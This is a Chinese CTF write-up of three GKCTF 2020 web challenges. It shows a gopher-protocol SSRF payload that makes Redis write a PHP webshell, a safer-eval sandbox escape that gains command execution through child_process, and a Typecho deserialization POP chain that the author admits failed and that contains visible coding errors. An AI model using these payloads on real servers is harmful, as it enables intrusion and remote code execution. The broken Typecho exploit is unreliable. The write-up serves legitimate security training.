【GKCTF 2020】ez三剑客

【GKCTF 2020】ez三剑客

收获

  • gopher协议SSRF
  • 多利用github搜索已存在的函数漏洞
  • CMS审计的一些方法

1. ezweb

打开题目给了一个输入框,能够向输入的url发送http请求。F12查看一下,发现hint:?secret,将其作为当前url的GET参数:

直接给出了靶机的路由表,说明是一个SSRF。

1.1 file协议读源码

file:///var/www/html/index.php

失败,继续尝试:

file:/var/www/html/index.php

这两种方法是等效的,这下看到了index.php的内容:

?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
		$url = $_GET['url'];
		//echo $url."\n";
		if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
		{
			//var_dump($match);
			die('别这样');
		}
		curl($url);
}
if(isset($_GET['secret'])){
	system('ifconfig');
}
?

原来这里过滤了file://同时也过滤了dict协议,但是没有过滤gopher。

1.2 BP扫内网

抓包在第一个网段的C段下进行扫描:

可以看到,提示应该是在该地址上的其他端口中。

1.3 测试端口

这里重点测试SSRF的常用利用端口:mysql(3306)、redis(6379)。当然也可以使用Bp的intrude爆破其他端口。

提交172.2.158.173:6379的url时出现:

说明开启了Redis服务。经典的Gopher协议来打Redis。

1.4 Gopherus生成payload:

工具可以在github上下载:

python2 gopherus.py --exploit redis

这里我们将shell.php直接写入:

<?php echo system('cat flag')?>
gopher://172.2.158.173:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20echo%20system%28%27cat%20/flag%27%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

将其输入到提交的url框中。

1.5 查flag

接下来只需要访问shell.php即可:

172.2.158.173/shell.php

得到flag:

2. easynode

贴个源码:

const express = require('express');  //express是一个Node.js框架
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000); //取消上面的delay时间的定时器,直接一秒之后输出timeout
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

2.1 分析

可以看到主要能利用的地方是saferEval函数。于是去github上搜一搜该函数的issue:

​ 这里通过获取process变量的全局应用,执行了系统命令。

2.2 setTimeout绕过

源代码中Next()函数表示一个回调操作,Nodejs会通过其将控制权交给下一个中间件处理函数,也就是app.post('/eval', function (req, res)部分。

所以为了能够成功执行到saferEval函数,我们需要绕过const t = setTimeout(() => next(), delay);,使其在远低于delay时间下执行next函数。

但是这个函数存在一个漏洞,当我们设置的计时器内容过大时,这里是超出2147483647秒时,会发生溢出,导致delay的内容为1,也就是一毫秒内就执行next函数。

2.3 Payload

RCE部分:

e = setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();

可以看到是一个root用户,换成命令cat /flag直接读flag。

3. eztypecho

有了之前typecho反序列化的基础:【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF,看这个就明白很多。

3.1 分析源码

定位到Install.php中,全局搜索unserialize函数。

可以看到要进入反序列化函数,首先需要设置GET参数finish;同时需要设置cookie:__typecho_config,这可以通过POST变量来设置(原因在get函数中写了)。

可以看到条件满足,成功设置了cookie,下一步,我们就需要使其SESSION不为空。但是搜索一下发现无法设置session。于是考虑另一个反序列化函数:

这里设置一个start参数即可。那下面就是找POP链。

3.3 POP链

首先上面的代码中存在字符串操作:

$type = explode('_', $config['adapter']);

自然想到__toString方法。全局搜索一下,发现/var/Feed.php中有线索:

这里如果$item['author']类中不存在screenName属性,就会自动调用get方法。

全局搜索一下__get方法:

存在这个get魔术函数,其中这个变量key为属性screenName。继续跟进其中的get方法:

该get函数返回时,会调用__applyFilter函数,于是跟进看一下:

其中这个call_user_func函数的$filter变量和$value变量都是可控的,并且这里的几个函数都在同一个文件中,这样我们就可以根据其进行RCE。

反序化链为:

Feed.php:Typecho_Feed::__toString()->Request.php:Typecho_Request::__get()->get()->__applyFilter()->call_user_func()

3.4 Payload

如下:

<?php
class Typecho_Feed{

	//前面的判定条件
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    
    private $_items=array();
    public function __construct(){
        $this->_type = $this::ATOM1;
           $this->_items[0] = array(
                   'category' => array(new Typecho_Request()),
                   'author' => new Typecho_Request(),
           );
    }
    
}
class Typecho_Request{
    private $_params=array();
    private $_filter = array();
    public function __construct(){
        $_params['screenName']='system("ls")';
        $this->_filter[0] = 'assert';
    }
}

$a=array(
	'adapter'=>'new Typecho_Feed()',
    'prefix'  => 'typecho_'
);
echo base64_encode(serialize($a));
?>

感觉是对的,但是没成功。试了网上现成的exp也没成功,不知道为啥,是不是环境的问题。

热门相关:娇妻太甜:老公,要抱抱   余生皆是喜欢你   娇妻太甜:老公,要抱抱   都市剑说   全天下都知道太子爱她